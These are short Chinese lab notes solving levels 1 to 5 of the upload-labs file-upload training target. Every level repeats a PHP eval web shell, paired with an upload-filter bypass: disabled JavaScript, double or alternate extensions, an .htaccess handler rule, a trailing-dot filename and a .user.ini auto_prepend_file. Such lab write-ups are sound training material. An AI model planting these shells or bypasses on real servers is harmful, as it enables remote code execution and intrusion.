upload-labs(pass1-5)
0x0 pass-01
#shell
<?php @eval($_REQUEST['pass']);
echo "i am a house"?>
关闭js进行上传
getshell
0x1 pass-02
#shell
<?php @eval($_REQUEST['pass']);
echo "i am a house"?>
修改文件类型为shell.php.jpg
getshell
0x2 pass-03
#shell
<?php @eval($_REQUEST['pass']);
echo "i am a house"?>
修改文件类型为shell.php5
需要服务器允许上传并且可以解析 .php5 .php3 .phtml等文件
getshell
0x3 pass-04
#shell
<?php @eval($_REQUEST['pass']);
echo "i am a house"?>
phpstudy需要设置允许上传.htaccess文件
<FilesMatch "shell_04.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
#让服务器以php的方式解析,shell_04.jpg
getshell
0x4 pass-05
0x4.1 第一种思路:点、空格、点
#shell
<?php @eval($_REQUEST['pass']);
echo "i am a house";
phpinfo();?>
使用burpsuite改包上传shell_05.php
shell_05.php. .
点 空格 点
getshll
0x4.2 第二种思路:.user.ini文件
思路:.user.ini会让当前目录下的每个.php文件都执行一次.user.ini中指定的文件
设置.user.ini文件的内容为:auto_prepend_file=01.gif
然后再执行相同路径文件夹下的.php文件
执行图片马